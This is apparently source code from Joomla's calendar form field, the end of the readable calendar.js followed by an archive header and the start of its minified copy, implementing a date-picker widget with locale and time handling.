			var todaya = this.wrapper.querySelector('[data-action="today"]');
			todaya.addEventListener('click', function (e) {
				e.preventDefault();
				self.date.setLocalDateOnly('gregorian', new Date());                                  // TODAY
				self.dateClicked = true;
				self.callHandler();
				self.close();
			});
		}

		this._nav_exit = hh(JoomlaCalLocale.exit, '', 999, 'button', '', 'js-btn btn btn-exit', {"type": "button", "data-action": "exit"});
		var exita = this.wrapper.querySelector('[data-action="exit"]');
		exita.addEventListener('click', function (e) {
			e.preventDefault();
			if (!self.dateClicked) {
				if (self.inputField.value) {
					if (self.params.dateType !== 'gregorian') {
						self.inputField.setAttribute('data-local-value', self.inputField.value);
					}
					if (typeof self.dateClicked === 'undefined') {
						// value needs to be validated
						self.inputField.setAttribute('data-alt-value', Date.parseFieldDate(self.inputField.value, self.params.dateFormat, self.params.dateType)
							.print(self.params.dateFormat, 'gregorian', false));
					} else {
						self.inputField.setAttribute('data-alt-value', self.date.print(self.params.dateFormat, 'gregorian', false));
					}
				} else {
					self.inputField.setAttribute('data-alt-value', '0000-00-00 00:00:00');
				}
				self.date = Date.parseFieldDate(self.inputField.getAttribute('data-alt-value'), self.params.dateFormat, self.params.dateType);
			}
			self.close();
		});

		this.processCalendar();
	};

	/** Method to append numbers to the calendar table */
	JoomlaCalendar.prototype.processCalendar = function () {
		this.table.style.visibility = "hidden";

		var firstDayOfWeek = this.params.firstDayOfWeek,
			date  = this.date,
			today = new Date(),
			TY    = today.getLocalFullYear(this.params.dateType),
			TM    = today.getLocalMonth(this.params.dateType),
			TD    = today.getLocalDate(this.params.dateType),
			year  = date.getOtherFullYear(this.params.dateType),
			hrs   = date.getHours(),
			mins  = date.getMinutes(),
			secs  = date.getSeconds(),
			t12   = !this.params.time24;

		if (year < this.params.minYear) {                                                                   // Check min,max year
			year = this.params.minYear;
			date.setOtherFullYear(this.params.dateType, year);
		} else if (year > this.params.maxYear) {
			year = this.params.maxYear;
			date.setOtherFullYear(this.params.dateType, year);
		}

		this.params.firstDayOfWeek = firstDayOfWeek;
		this.date = new Date(date);

		var month = date.getLocalMonth(this.params.dateType);
		var mday  = date.getLocalDate(this.params.dateType);

		// Compute the first day that would actually be displayed in the calendar, even if it's from the previous month.
		date.setLocalDate(this.params.dateType, 1);
		var day1 = (date.getLocalDay(this.params.dateType) - this.params.firstDayOfWeek) % 7;

		if (day1 < 0) {
			day1 += 7;
		}

		date.setLocalDate(this.params.dateType, - day1);
		date.setLocalDate(this.params.dateType, date.getLocalDate(this.params.dateType) + 1);

		var row = this.tbody.firstChild,
			ar_days = this.ar_days = new Array(),
			weekend = JoomlaCalLocale.weekend,
			monthDays = parseInt(date.getLocalWeekDays(this.params.dateType));

		/** Fill the table **/
		for (var i = 0; i < monthDays; ++i, row = row.nextSibling) {
			var cell = row.firstChild;
			if (this.params.weekNumbers) {
				cell.className = "day wn";
				cell.innerHTML = date.getLocalWeekNumber(this.params.dateType); //date.convertNumbers();
				cell = cell.nextSibling;
			}

			row.className = this.params.weekNumbers ? "daysrow wk" : "daysrow";
			var hasdays = false, iday,
				dpos = ar_days[i] = [],
				totalDays = monthDays + 1;

			for (var j = 0; j < totalDays; ++j, cell = cell.nextSibling, date.setLocalDate(this.params.dateType, iday + 1)) {
				cell.className = "day";
				cell.style['textAlign'] = 'center';
				iday = date.getLocalDate(this.params.dateType);
				var wday = date.getLocalDay(this.params.dateType);
				cell.pos = i << 4 | j;
				dpos[j] = cell;
				var current_month = (date.getLocalMonth(this.params.dateType) === month);
				if (!current_month) {
					if (this.params.showsOthers) {
						cell.className += " disabled othermonth ";
						cell.otherMonth = true;
					} else {
						cell.className += " emptycell";
						cell.innerHTML = "&#160;";
						cell.disabled = true;
						continue;
					}
				} else {
					cell.otherMonth = false;
					hasdays = true;
					cell.style.cursor = "pointer";
				}
				cell.disabled = false;
				cell.innerHTML = this.params.debug ? iday : Date.convertNumbers(iday);          // translated day number for each cell
				if (!cell.disabled) {
					cell.caldate = new Date(date);
					if (current_month && iday === mday) {
						cell.className += " selected";
						this.currentDateEl = cell;
					}
					if (date.getLocalFullYear(this.params.dateType) === TY && date.getLocalMonth(this.params.dateType) === TM && iday === TD) {
						cell.className += " today";
					}
					if (weekend.indexOf(wday) !== -1)
						cell.className += " weekend";
				}
			}
			if (!(hasdays || this.params.showsOthers)) {
				row.style.display = 'none';
				row.className = "emptyrow";
			} else {
				row.style.display = '';
			}
		}

		/* Set the time */
		if (this.params.showsTime) {
			if (hrs > 12 && t12) {
				hrs -= 12;
			}

			hrs = (hrs < 10) ? "0" + hrs : hrs;
			mins = (mins < 10) ? "0" + mins : mins;

			var hoursEl = this.table.querySelector('.time-hours'),
				minsEl = this.table.querySelector('.time-minutes');

			/* remove the selected class  for the hours*/
			this.resetSelected(hoursEl);
			if (!this.params.time24)
			{
				hoursEl.value = (hrs == "00") ? "12" : hrs;
			}
			else
			{
				hoursEl.value = hrs;
			}

			/* remove the selected class  for the minutes*/
			this.resetSelected(minsEl);
			minsEl.value = mins;

			if (!this.params.time24)
			{
				var dateAlt = new Date(this.inputField.getAttribute('data-alt-value')),
					ampmEl = this.table.querySelector('.time-ampm'),
					hrsAlt = dateAlt.getHours();

				if (hrsAlt > 12) {
					/* remove the selected class  for the am-pm*/
					this.resetSelected(ampmEl);
					ampmEl.value = 'pm';
				}
			}
		}

		if (!this.params.compressedHeader) {
			this._nav_month.getElementsByTagName('span')[0].innerHTML = this.params.debug ? month + ' ' + JoomlaCalLocale.months[month] : JoomlaCalLocale.months[month];
			this.title.getElementsByTagName('span')[0].innerHTML = this.params.debug ? year + ' ' +  Date.convertNumbers(year.toString()) : Date.convertNumbers(year.toString());
		} else {
			var tmpYear = Date.convertNumbers(year.toString());
			this._nav_month.getElementsByTagName('span')[0].innerHTML = !this.params.monthBefore  ? JoomlaCalLocale.months[month] + ' - ' + tmpYear : tmpYear + ' - ' + JoomlaCalLocale.months[month] ;
		}
		this.table.style.visibility = "visible";
	};

	/** Method to listen for the click event on the input button. **/
	JoomlaCalendar.prototype._bindEvents = function () {
		var self = this;
		this.inputField.addEventListener('blur', function(event) {
			var calObj = JoomlaCalendar.getCalObject(this)._joomlaCalendar;

			// If calendar is open we will handle the event elsewhere
			if (calObj.dropdownElement.style.display === 'block') {
				event.preventDefault();
				return;
			}

			if (calObj) {
				if (calObj.inputField.value) {
					if (typeof calObj.params.dateClicked === 'undefined') {
						calObj.inputField.setAttribute('data-local-value', calObj.inputField.value);

						if (calObj.params.dateType !== 'gregorian') {
							// We need to transform the date for the data-alt-value
							var ndate, date = Date.parseFieldDate(calObj.inputField.value, calObj.params.dateFormat, calObj.params.dateType);
							ndate = Date.localCalToGregorian(date.getFullYear(), date.getMonth(), date.getDate());
							date.setFullYear(ndate[0]);
							date.setMonth(ndate[1]);
							date.setDate(ndate[2]);
							calObj.inputField.setAttribute('data-alt-value', date.print(calObj.params.dateFormat, 'gregorian', false));
						} else {
							calObj.inputField.setAttribute('data-alt-value', Date.parseFieldDate(calObj.inputField.value, calObj.params.dateFormat, calObj.params.dateType)
								.print(calObj.params.dateFormat, 'gregorian', false));
						}
					} else {
						calObj.inputField.setAttribute('data-alt-value', calObj.date.print(calObj.params.dateFormat, 'gregorian', false));
					}
				} else {
					calObj.inputField.setAttribute('data-alt-value', '0000-00-00 00:00:00');
				}
				calObj.date = Date.parseFieldDate(calObj.inputField.getAttribute('data-alt-value'), calObj.params.dateFormat, calObj.params.dateType);
			}

			self.close();
		}, true);
		this.button.addEventListener('click', function() {
			self.show();
		}, false);
	};

	/** Helpers **/
	var stopCalEvent = function (ev) { ev || (ev = window.event);  ev.preventDefault(); ev.stopPropagation(); return false; };
	var createElement = function (type, parent) { var el = null; el = document.createElement(type); if (typeof parent !== "undefined") { parent.appendChild(el); } return el; };
	var isInt = function (input) { return !isNaN(input) && (function(x) { return (x | 0) === x; })(parseFloat(input)) };
	var getBoundary = function (input, type) { var date = new Date(); var y = date.getLocalFullYear(type); return y + input; };
	/**
	 * IE8 polyfill for indexOf()
	 */
	if (!Array.prototype.indexOf) {
		Array.prototype.indexOf = function(elt) {
			var len = this.length >>> 0,
				from = Number(arguments[1]) || 0;

			from = (from < 0) ? Math.ceil(from) : Math.floor(from);

			if (from < 0) {
				from += len;
			}

			for (; from < len; from++) {
				if (from in this && this[from] === elt) {
					return from;
				}
			}
			return -1;
		};
	}

	/** Method to get the active calendar element through any descendant element. */
	JoomlaCalendar.getCalObject = function(element) {
		if (!element) {
			return false;
		}
		while (element.parentNode) {
			element = element.parentNode;
			if (element.classList.contains('field-calendar')) {
				return element;
			}
		}
		return false;
	};

	/** Method to change input values with the data-alt-value values. **/
	JoomlaCalendar.prototype.setAltValue = function() {
		var input = this.inputField;
		if (input.getAttribute('disabled')) return;
		input.value = input.getAttribute('data-alt-value') ? input.getAttribute('data-alt-value') : '';
	};

	/** Method to change the inputs before submit. **/
	JoomlaCalendar.onSubmit = function() {
		Joomla = window.Joomla || {};
		if (!Joomla.calendarProcessed) {
			Joomla.calendarProcessed = true;
			var elements = document.querySelectorAll(".field-calendar");

			for (var i = 0; i < elements.length; i++) {
				var element  = elements[i],
				    instance = element._joomlaCalendar;

				if (instance) {
					instance.setAltValue();
				}
			}
		}
	};

	/**
	 * Init the Calendars on the page
	 *
	 * @param {Node}        element    The element node
	 * @param {HTMLElement} container  The field container (optional)
	 */
	JoomlaCalendar.init = function (element, container) {

		// Fall back for translation strings
		window.JoomlaCalLocale           = window.JoomlaCalLocale ? JoomlaCalLocale : {};
		JoomlaCalLocale.today            = JoomlaCalLocale.today ? JoomlaCalLocale.today : 'today';
		JoomlaCalLocale.weekend          = JoomlaCalLocale.weekend ? JoomlaCalLocale.weekend : [0, 6];
		JoomlaCalLocale.localLangNumbers = JoomlaCalLocale.localLangNumbers ? JoomlaCalLocale.localLangNumbers : [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
		JoomlaCalLocale.wk               = JoomlaCalLocale.wk ? JoomlaCalLocale.wk : 'wk';
		JoomlaCalLocale.AM               = JoomlaCalLocale.AM ? JoomlaCalLocale.AM : 'AM';
		JoomlaCalLocale.PM               = JoomlaCalLocale.PM ? JoomlaCalLocale.PM : 'PM';
		JoomlaCalLocale.am               = JoomlaCalLocale.am ? JoomlaCalLocale.am : 'am';
		JoomlaCalLocale.pm               = JoomlaCalLocale.pm ? JoomlaCalLocale.pm : 'pm';
		JoomlaCalLocale.dateType         = JoomlaCalLocale.dateType ? JoomlaCalLocale.dateType : 'gregorian';
		JoomlaCalLocale.time             = JoomlaCalLocale.time ? JoomlaCalLocale.time : 'time';
		JoomlaCalLocale.days             = JoomlaCalLocale.days ? JoomlaCalLocale.days : '["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"]';
		JoomlaCalLocale.shortDays        = JoomlaCalLocale.shortDays ? JoomlaCalLocale.shortDays : ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"];
		JoomlaCalLocale.months           = JoomlaCalLocale.months ? JoomlaCalLocale.months : ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
		JoomlaCalLocale.shortMonths      = JoomlaCalLocale.shortMonths ? JoomlaCalLocale.shortMonths : ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
		JoomlaCalLocale.minYear          = JoomlaCalLocale.minYear ? JoomlaCalLocale.minYear : 1900;
		JoomlaCalLocale.maxYear          = JoomlaCalLocale.maxYear ? JoomlaCalLocale.maxYear : 2100;
		JoomlaCalLocale.exit             = JoomlaCalLocale.exit ? JoomlaCalLocale.exit : 'Cancel';
		JoomlaCalLocale.clear            = JoomlaCalLocale.clear ? JoomlaCalLocale.clear : 'Clear';

		var instance = element._joomlaCalendar;
		if (!instance) {
			new JoomlaCalendar(element);
		} else {
			instance.recreate();
		}

		if (element && element.getElementsByTagName('input')[0] && element.getElementsByTagName('input')[0].form && !element.getElementsByTagName('input')[0].disabled) {
			element.getElementsByTagName('input')[0].form.addEventListener('submit', JoomlaCalendar.onSubmit);
		}
	};

	window.JoomlaCalendar = JoomlaCalendar;

	/** Instantiate all the calendar fields when the document is ready */
	document.addEventListener("DOMContentLoaded", function() {
		var elements, i;

		elements = document.querySelectorAll(".field-calendar");

		for (i = 0; i < elements.length; i++) {
			JoomlaCalendar.init(elements[i]);
		}

		window.jQuery && jQuery(document).on("subform-row-add", function (event, row) {
			elements = row.querySelectorAll(".field-calendar");

			for (i = 0; i < elements.length; i++) {
				JoomlaCalendar.init(elements[i]);
			}
		});

		/** B/C related code
		 *  @deprecated 4.0
		 */
		window.Calendar = {};

		/** B/C related code
		 *  @deprecated 4.0
		 */
		Calendar.setup = function(obj) {

			if (obj.inputField && document.getElementById(obj.inputField)) {
				var element = document.getElementById(obj.inputField),
					cal = element.parentNode.querySelectorAll('button')[0];

				for (var property in obj) {
					if (obj.hasOwnProperty(property)) {
						switch (property) {
							case 'ifFormat':
								if (cal) cal.setAttribute('data-dayformat', obj.ifFormat);
								break;

							case 'firstDay':
								if (cal) cal.setAttribute('data-firstday', parseInt(obj.firstDay));
								break;

							case 'weekNumbers':
								if (cal) cal.setAttribute('data-week-numbers', (obj.weekNumbers === "true" || obj.weekNumbers === true) ? '1' : '0');
								break;

							case 'showOthers':
								if (cal) cal.setAttribute('data-show-others', (obj.showOthers === "true" || obj.showOthers === true) ? '1' : '0');
								break;

							case 'showsTime':
								if (cal) cal.setAttribute('data-show-time', (obj.showsTime === "true" || obj.showsTime === true) ? '1' : '0');
								break;

							case 'timeFormat':
								if (cal) cal.setAttribute('data-time-24', parseInt(obj.timeFormat));
								break;

							case 'displayArea':
							case 'inputField':
							case 'button':
							case 'eventName':
							case 'daFormat':
							case 'disableFunc':
							case 'dateStatusFunc':
							case 'dateTooltipFunc':
							case 'dateText':
							case 'align':
							case 'range':
							case 'flat':
							case 'flatCallback':
							case 'onSelect':
							case 'onClose':
							case 'onUpdate':
							case 'date':
							case 'electric':
							case 'step':
							case 'position':
							case 'cache':
							case 'multiple':
								break;
						}


					}
				}
				JoomlaCalendar.init(element.parentNode.parentNode);
			}
			return null;
		};
	});
})(window, document);
PK!�}�%z%zjs/fields/calendar.min.jsnu�[���!function(window,document){"use strict";Date.convertNumbers=function(str){var str=str.toString();if(Object.prototype.toString.call(JoomlaCalLocale.localLangNumbers)==="[object Array]"){for(var i=0;i<JoomlaCalLocale.localLangNumbers.length;i++){str=str.replace(new RegExp(i,"g"),JoomlaCalLocale.localLangNumbers[i])}}return str};Date.toEnglish=function(str){str=this.toString();var nums=[0,1,2,3,4,5,6,7,8,9];for(var i=0;i<10;i++){str=str.replace(new RegExp(nums[i],"g"),i)}return str};(function(){if(typeof window.CustomEvent==="function")return false;function CustomEvent(event,params){params=params||{bubbles:false,cancelable:false,detail:undefined};var evt=document.createEvent("CustomEvent");evt.initCustomEvent(event,params.bubbles,params.cancelable,params.detail);return evt}window.CustomEvent=CustomEvent})();var JoomlaCalendar=function(element){if(!element){throw new Error("Calendar setup failed:\n  No valid element found, Please check your code")}if(typeof Date.parseFieldDate!=="function"){throw new Error("Calendar setup failed:\n  No valid date helper, Please check your code")}if(element._joomlaCalendar){throw new Error("JoomlaCalendar instance already exists for the element")}element._joomlaCalendar=this;this.writable=true;this.hidden=true;this.params={};this.element=element;this.inputField=element.getElementsByTagName("input")[0];this.button=element.getElementsByTagName("button")[0];if(!this.inputField){throw new Error("Calendar setup failed:\n  No valid input found, Please check your code")}this.params={debug:false,clicked:false,element:{style:{display:"none"}},writable:true};var self=this,btn=this.button,instanceParams={inputField:this.inputField,dateType:JoomlaCalLocale.dateType?JoomlaCalLocale.dateType:"gregorian",direction:document.dir!==undefined?document.dir:document.getElementsByTagName("html")[0].getAttribute("dir"),firstDayOfWeek:btn.getAttribute("data-firstday")?parseInt(btn.getAttribute("data-firstday")):0,dateFormat:"%Y-%m-%d %H:%M:%S",weekend:JoomlaCalLocale.weekend?JoomlaCalLocale.weekend:[0,6],minYear:JoomlaCalLocale.minYear?JoomlaCalLocale.minYear:1900,maxYear:JoomlaCalLocale.maxYear?JoomlaCalLocale.maxYear:2100,minYearTmp:btn.getAttribute("data-min-year"),maxYearTmp:btn.getAttribute("data-max-year"),weekendTmp:btn.getAttribute("data-weekend"),time24:true,showsOthers:parseInt(btn.getAttribute("data-show-others"))===1?true:false,showsTime:true,weekNumbers:parseInt(btn.getAttribute("data-week-numbers"))===1?true:false,showsTodayBtn:true,compressedHeader:parseInt(btn.getAttribute("data-only-months-nav"))===1?true:false};if(btn.getAttribute("data-dayformat")){instanceParams.dateFormat=btn.getAttribute("data-dayformat")?btn.getAttribute("data-dayformat"):"%Y-%m-%d %H:%M:%S"}if(btn.getAttribute("data-time-24")){instanceParams.time24=parseInt(btn.getAttribute("data-time-24"))===24?true:false}if(btn.getAttribute("data-show-time")){instanceParams.showsTime=parseInt(btn.getAttribute("data-show-time"))===1?true:false}if(btn.getAttribute("data-today-btn")){instanceParams.showsTodayBtn=parseInt(btn.getAttribute("data-today-btn"))===1?true:false}for(var param in instanceParams){this.params[param]=instanceParams[param]}if(isInt(self.params.minYearTmp)){self.params.minYear=getBoundary(parseInt(self.params.minYearTmp),self.params.dateType)}if(isInt(self.params.maxYearTmp)){self.params.maxYear=getBoundary(parseInt(self.params.maxYearTmp),self.params.dateType)}if(self.params.weekendTmp!=="undefined"){self.params.weekend=self.params.weekendTmp.split(",").map(function(item){return parseInt(item,10)})}this._dayMouseDown=function(event){return self._handleDayMouseDown(event)};this._calKeyEvent=function(event){return self._handleCalKeyEvent(event)};this._documentClick=function(event){return self._handleDocumentClick(event)};this.checkInputs();if(this.inputField.getAttribute("readonly")){return}this._create();this._bindEvents()};JoomlaCalendar.prototype.checkInputs=function(){var inputAltValueDate=Date.parseFieldDate(this.inputField.getAttribute("data-alt-value"),this.params.dateFormat,"gregorian");if(this.inputField.value!==""){this.date=inputAltValueDate;this.inputField.value=inputAltValueDate.print(this.params.dateFormat,this.params.dateType,true)}else{this.date=new Date}};JoomlaCalendar.prototype.recreate=function(){var element=this.element,el=element.querySelector(".js-calendar");if(el){element._joomlaCalendar=null;el.parentNode.removeChild(el);new JoomlaCalendar(element)}};JoomlaCalendar.prototype.updateTime=function(hours,mins,secs){var self=this,date=self.date;var d=self.date.getLocalDate(self.params.dateType),m=self.date.getLocalMonth(self.params.dateType),y=self.date.getLocalFullYear(self.params.dateType),ampm=this.inputField.parentNode.parentNode.querySelectorAll(".time-ampm")[0];if(!self.params.time24){if(/pm/i.test(ampm.value)&&hours<12){hours=parseInt(hours)+12}else if(/am/i.test(ampm.value)&&hours==12){hours=0}}date.setHours(hours);date.setMinutes(parseInt(mins,10));date.setSeconds(date.getSeconds());date.setLocalFullYear(self.params.dateType,y);date.setLocalMonth(self.params.dateType,m);date.setLocalDate(self.params.dateType,d);self.dateClicked=false;this.callHandler()};JoomlaCalendar.prototype.setDate=function(date){if(!date.equalsTo(this.date)){this.date=date;this.processCalendar(this.params.firstDayOfWeek,date)}};JoomlaCalendar.prototype.moveCursorBy=function(step){var date=new Date(this.date);date.setDate(date.getDate()-step);this.setDate(date)};JoomlaCalendar.prototype.resetSelected=function(element){var options=element.options;var i=options.length;while(i--){var current=options[i];if(current.selected){current.selected=false}}};JoomlaCalendar.prototype.callHandler=function(){this.inputField.setAttribute("data-alt-value",this.date.print(this.params.dateFormat,"gregorian",false));if(this.inputField.getAttribute("data-alt-value")&&this.inputField.getAttribute("data-alt-value")!=="0000-00-00 00:00:00"){this.inputField.value=this.date.print(this.params.dateFormat,this.params.dateType,true);if(this.params.dateType!=="gregorian"){this.inputField.setAttribute("data-local-value",this.date.print(this.params.dateFormat,this.params.dateType,true))}}this.inputField.value=this.date.print(this.params.dateFormat,this.params.dateType,true);if(this.dateClicked&&typeof this.params.onUpdate==="function"){this.params.onUpdate(this)}this.inputField.dispatchEvent(new CustomEvent("change",{bubbles:true,cancelable:true}));if(this.dateClicked){this.close()}else{this.processCalendar()}};JoomlaCalendar.prototype.close=function(){this.hide()};JoomlaCalendar.prototype.show=function(){if(navigator.appName.indexOf("Internet Explorer")!==-1){var badBrowser=navigator.appVersion.indexOf("MSIE 9")===-1&&navigator.appVersion.indexOf("MSIE 1")===-1;if(badBrowser){if(window.jQuery&&jQuery().chosen){var selItems=this.element.getElementsByTagName("select");for(var i=0;i<selItems.length;i++){jQuery(selItems[i]).chosen("destroy")}}}}this.checkInputs();this.inputField.focus();this.dropdownElement.style.display="block";this.hidden=false;document.addEventListener("keydown",this._calKeyEvent,true);document.addEventListener("keypress",this._calKeyEvent,true);document.addEventListener("mousedown",this._documentClick,true);var containerTmp=this.element.querySelector(".js-calendar");if(window.innerHeight<containerTmp.getBoundingClientRect().bottom+20){containerTmp.style.marginTop=-(containerTmp.getBoundingClientRect().height+this.inputField.getBoundingClientRect().height)+"px"}this.processCalendar()};JoomlaCalendar.prototype.hide=function(){document.removeEventListener("keydown",this._calKeyEvent,true);document.removeEventListener("keypress",this._calKeyEvent,true);document.removeEventListener("mousedown",this._documentClick,true);this.dropdownElement.style.display="none";this.hidden=true};JoomlaCalendar.prototype._handleDocumentClick=function(ev){var el=ev.target;if(el!==null&&!el.classList.contains("time")){for(;el!==null&&el!==this.element;el=el.parentNode);}if(el===null){document.activeElement.blur();this.hide();return stopCalEvent(ev)}};JoomlaCalendar.prototype._handleDayMouseDown=function(ev){var self=this,el=ev.currentTarget,target=ev.target||ev.srcElement;if(target&&target.hasAttribute("data-action")){return}if(el.nodeName!=="TD"){var testel=el.getParent("TD");if(testel.nodeName==="TD"){el=testel}else{el=el.getParent("TD");if(el.classList.contains("js-calendar")){el=el.getElementsByTagName("table")[0]}}}else{if(!target.classList.contains("js-btn")&&!el.classList.contains("day")&&!el.classList.contains("title")){return}}if(!el||el.disabled){return false}if(typeof el.navtype==="undefined"||el.navtype!==300){if(el.navtype===50){el._current=el.innerHTML}if(target===el||target.parentNode===el){self.cellClick(el,ev)}var mon=null;if(typeof el.month!=="undefined"){mon=el}if(typeof el.parentNode.month!=="undefined"){mon=el.parentNode}var date=null;if(mon){date=new Date(self.date);if(mon.month!==date.getLocalMonth(self.params.dateType)){date.setLocalMonth(self.params.dateType,mon.month);self.setDate(date);self.dateClicked=false;this.callHandler()}}else{var year=null;if(typeof el.year!=="undefined"){year=target}if(typeof el.parentNode.year!=="undefined"){year=target.parentNode}if(year){date=new Date(self.date);if(year.year!==date.getLocalFullYear(self.params.dateType)){date.setFullYear(self.params.dateType,year.year);self.setDate(date);self.dateClicked=false;this.callHandler()}}}}return stopCalEvent(ev)};JoomlaCalendar.prototype.cellClick=function(el,ev){var self=this,closing=false,newdate=false,date=null;if(typeof el.navtype==="undefined"){if(self.currentDateEl){el.classList.add("selected");self.currentDateEl=el.caldate;closing=self.currentDateEl===el.caldate;if(!closing){self.currentDateEl=el.caldate}}self.date.setLocalDateOnly("gregorian",el.caldate);var other_month=!(self.dateClicked=!el.otherMonth);if(self.currentDateEl){newdate=!el.disabled}if(other_month){this.processCalendar()}}else{date=new Date(self.date);self.dateClicked=false;var year=date.getOtherFullYear(self.params.dateType),mon=date.getLocalMonth(self.params.dateType);switch(el.navtype){case 400:break;case-2:if(!self.params.compressedHeader){if(year>self.params.minYear){date.setOtherFullYear(self.params.dateType,year-1)}}break;case-1:var day=date.getLocalDate(self.params.dateType);if(mon>0){var max=date.getLocalMonthDays(self.params.dateType,mon-1);if(day>max){date.setLocalDate(self.params.dateType,max)}date.setLocalMonth(self.params.dateType,mon-1)}else if(year-- >self.params.minYear){date.setOtherFullYear(self.params.dateType,year);var max=date.getLocalMonthDays(self.params.dateType,11);if(day>max){date.setLocalDate(self.params.dateType,max)}date.setLocalMonth(self.params.dateType,11)}break;case 1:var day=date.getLocalDate(self.params.dateType);if(mon<11){var max=date.getLocalMonthDays(self.params.dateType,mon+1);if(day>max){date.setLocalDate(self.params.dateType,max)}date.setLocalMonth(self.params.dateType,mon+1)}else if(year<self.params.maxYear){date.setOtherFullYear(self.params.dateType,year+1);var max=date.getLocalMonthDays(self.params.dateType,0);if(day>max){date.setLocalDate(self.params.dateType,max)}date.setLocalMonth(self.params.dateType,0)}break;case 2:if(!self.params.compressedHeader)if(year<self.params.maxYear){date.setOtherFullYear(self.params.dateType,year+1)}break;case 0:break}if(!date.equalsTo(self.date)){this.setDate(date);newdate=true}else if(el.navtype===0){newdate=closing=true}}if(newdate){if(self.params.showsTime){this.dateClicked=false}ev&&this.callHandler()}el.classList.remove("hilite");if(closing&&!self.params.showsTime){self.dateClicked=false;ev&&this.close()}};JoomlaCalendar.prototype._handleCalKeyEvent=function(ev){var self=this,K=ev.keyCode;if(ev.target===this.inputField&&(K===13||K===9)){this.close()}if(self.params.direction==="rtl"){if(K===37){K=39}else if(K===39){K=37}}if(K===32){if(ev.shiftKey){ev.preventDefault();this.cellClick(self._nav_now,ev);self.close()}}if(K===27){this.close()}if(K===38){this.moveCursorBy(7)}if(K===40){this.moveCursorBy(-7)}if(K===37){this.moveCursorBy(1)}if(K===39){this.moveCursorBy(-1)}if(ev.target===this.inputField&&!(K>48||K<57||K===186||K===189||K===190||K===32)){return stopCalEvent(ev)}};JoomlaCalendar.prototype._create=function(){var self=this,parent=this.element,table=createElement("table"),div=createElement("div");this.table=table;table.className="table";table.cellSpacing=0;table.cellPadding=0;table.style.marginBottom=0;this.dropdownElement=div;parent.appendChild(div);if(this.params.direction){div.style.direction=this.params.direction}div.className="js-calendar";div.style.position="absolute";div.style.boxShadow="0px 0px 70px 0px rgba(0,0,0,0.67)";div.style.minWidth=this.inputField.width;div.style.padding="0";div.style.display="none";div.style.left="auto";div.style.top="auto";div.style.zIndex=1060;div.style.borderRadius="20px";this.wrapper=createElement("div");this.wrapper.className="calendar-container";div.appendChild(this.wrapper);this.wrapper.appendChild(table);var thead=createElement("thead",table);thead.className="calendar-header";var cell=null,row=null,cal=this,hh=function(text,cs,navtype,node,styles,classes,attributes){node=node?node:"td";styles=styles?styles:{};cell=createElement(node,row);if(cs){classes=classes?'class="'+classes+'"':"";cell.colSpan=cs}for(var key in styles){cell.style[key]=styles[key]}for(var key in attributes){cell.setAttribute(key,attributes[key])}if(navtype!==0&&Math.abs(navtype)<=2){cell.className+=" nav"}if(cs){cell.addEventListener("mousedown",self._dayMouseDown,true)}cell.calendar=cal;cell.navtype=navtype;if(navtype!==0&&Math.abs(navtype)<=2){cell.innerHTML="<a "+classes+" style='display:inline;padding:2px 6px;cursor:pointer;text-decoration:none;' unselectable='on'>"+text+"</a>"}else{cell.innerHTML=cs?"<div unselectable='on'"+classes+">"+text+"</div>":text;if(!cs&&classes){cell.className=classes}}return cell};if(this.params.compressedHeader===false){row=createElement("tr",thead);row.className="calendar-head-row";this._nav_py=hh("&lsaquo;",1,-2,"",{"text-align":"center","font-size":"18px","line-height":"18px"},"js-btn btn-prev-year");this.title=hh('<div style="text-align:center;font-size:18px"><span></span></div>',this.params.weekNumbers?6:5,300);this.title.className="title";this._nav_ny=hh(" &rsaquo;",1,2,"",{"text-align":"center","font-size":"18px","line-height":"18px"},"js-btn btn-next-year")}row=createElement("tr",thead);row.className="calendar-head-row";this._nav_pm=hh("&lsaquo;",1,-1,"",{"text-align":"center","font-size":"2em","line-height":"1em"},"js-btn btn-prev-month");this._nav_month=hh('<div style="text-align:center;font-size:1.2em"><span></span></div>',this.params.weekNumbers?6:5,888,"td",{textAlign:"center"});this._nav_month.className="title";this._nav_nm=hh(" &rsaquo;",1,1,"",{"text-align":"center","font-size":"2em","line-height":"1em"},"js-btn btn-next-month");row=createElement("tr",thead);row.className=self.params.weekNumbers?"daynames wk":"daynames";if(this.params.weekNumbers){cell=createElement("td",row);cell.className="day-name wn";cell.innerHTML=JoomlaCalLocale.wk}for(var i=7;i>0;--i){cell=createElement("td",row);if(!i){cell.calendar=self}}this.firstdayname=this.params.weekNumbers?row.firstChild.nextSibling:row.firstChild;var fdow=this.params.firstDayOfWeek,cell=this.firstdayname,weekend=JoomlaCalLocale.weekend;for(var i=0;i<7;++i){var realday=(i+fdow)%7;cell.classList.add("day-name");this.params.weekNumbers?cell.classList.add("day-name-week"):"";if(i){cell.calendar=self;cell.fdow=realday}if(weekend.indexOf(weekend)!==-1){cell.classList.add("weekend")}cell.innerHTML=JoomlaCalLocale.shortDays[(i+fdow)%7];cell=cell.nextSibling}var tbody=createElement("tbody",table);this.tbody=tbody;for(i=6;i>0;--i){row=createElement("tr",tbody);if(this.params.weekNumbers){cell=createElement("td",row)}for(var j=7;j>0;--j){cell=createElement("td",row);cell.calendar=this;cell.addEventListener("mousedown",this._dayMouseDown,true)}}if(this.params.showsTime){row=createElement("tr",tbody);row.className="time";cell=createElement("td",row);cell.className="time time-title";cell.colSpan=1;cell.style.verticalAlign="middle";cell.innerHTML=" ";var cell1=createElement("td",row);cell1.className="time hours-select";cell1.colSpan=2;var cell2=createElement("td",row);cell2.className="time minutes-select";cell2.colSpan=2;(function(){function makeTimePart(className,selected,range_start,range_end,cellTml){var part=createElement("select",cellTml),num;part.calendar=self;part.className=className;part.setAttribute("data-chosen",true);part.style.width="100%";part.navtype=50;part._range=[];for(var i=range_start;i<=range_end;++i){var txt,selAttr="";if(i===selected){selAttr=true}if(i<10&&range_end>=10){num="0"+i;txt=Date.convertNumbers("0")+Date.convertNumbers(i)}else{num=""+i;txt=""+Date.convertNumbers(i)}part.options.add(new Option(txt,num,selAttr,selAttr))}return part}var hrs=self.date.getHours(),mins=self.date.getMinutes(),t12=!self.params.time24,pm=self.date.getHours()>12;if(t12&&pm){hrs-=12}var H=makeTimePart("time 